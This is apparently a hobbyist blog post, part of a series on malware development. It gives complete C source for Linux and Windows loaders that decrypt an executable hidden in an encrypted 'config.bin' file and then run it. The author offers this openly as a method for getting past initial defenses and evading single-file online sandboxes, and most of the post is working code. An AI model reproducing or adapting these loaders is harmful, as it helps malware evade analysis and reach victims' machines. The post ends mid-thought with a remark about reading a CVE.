Part 3 in the series. I am now interested in the first stages of the malware. How to load and get by initial defenses. This includes remaining inactive during sandboxing. It seems if you can get an inital execution by elevated privileges, the rest of the code can be whatever.
The first example is adding a decrpytion of a config.bin file and demonstrated on both linux and windows. Encryption is used to hide a exe in a config file. This additioanl file is another simple way to bypass most free online sandboxes. They typically only allow for an injest of a single file, therefore its impossible to get the malware to actually be ran and discovered.
Code for the loader elf.
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
int main() {
system("openssl enc -d -aes-256-cbc -salt -pbkdf2 -in config.bin -out decrypted_flag_printer -k 0123456789ABCDEF0123456789ABCDEF");
chmod("decrypted_flag_printer", 0755); // Make the decrypted file executable
system("./decrypted_flag_printer"); // Execute the decrypted file
return 0;
}
The file that will be encrypted and hidden in the config.bin
Code for the loader exe.
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
void HexStringToByteArray(const char* hexString, BYTE* byteArray, int byteArrayLength) {
for (int i = 0; i < byteArrayLength; i++) {
sscanf(hexString + 2 * i, "%2hhx", &byteArray[i]);
}
}
BYTE* ReadEncryptedFile(char* filename, DWORD* read) {
HANDLE hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* buffer = (BYTE*)malloc(fileSize);
if (!ReadFile(hFile, buffer, fileSize, read, NULL)) {
CloseHandle(hFile);
free(buffer);
return NULL;
}
CloseHandle(hFile);
return buffer;
}
void DecryptAndRun(BYTE* cipherText, DWORD cipherSize) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BYTE key[32]; // 256-bit key for AES-256
BYTE iv[16]; // 128-bit IV for AES
HexStringToByteArray("0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF", key, sizeof(key));
HexStringToByteArray("0123456789ABCDEF0123456789ABCDEF", iv, sizeof(iv));
if (status == ERROR_SUCCESS) {
status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, sizeof(key), 0);
}
DWORD cbDataOut = cipherSize;
if (status == ERROR_SUCCESS) {
status = BCryptDecrypt(hKey, cipherText, cipherSize, NULL, iv, sizeof(iv), cipherText, cipherSize, &cbDataOut, BCRYPT_BLOCK_PADDING);
}
if (status == ERROR_SUCCESS) {
// Write decrypted data to a temporary executable file
char tempPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH, tempPath);
strcat(tempPath, "tempExecutable.exe");
FILE* fp = fopen(tempPath, "wb");
if (fp != NULL) {
fwrite(cipherText, 1, cbDataOut, fp);
fclose(fp);
// Execute the temporary executable file
system(tempPath); // Consider using CreateProcess for better control over execution
}
} else {
fprintf(stderr, "Decryption failed with status: 0x%x\n", status);
}
if (hKey) BCryptDestroyKey(hKey);
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
}
int main() {
DWORD read;
BYTE* encryptedData = ReadEncryptedFile("config.bin", &read);
if (encryptedData != NULL) {
DecryptAndRun(encryptedData, read);
free(encryptedData);
} else {
fprintf(stderr, "Failed to load encrypted data\n");
}
return 0;
}
//x86_64-w64-mingw32-gcc -o final2.exe final2.c -lbcrypt
Recently I was readoing about a CVE.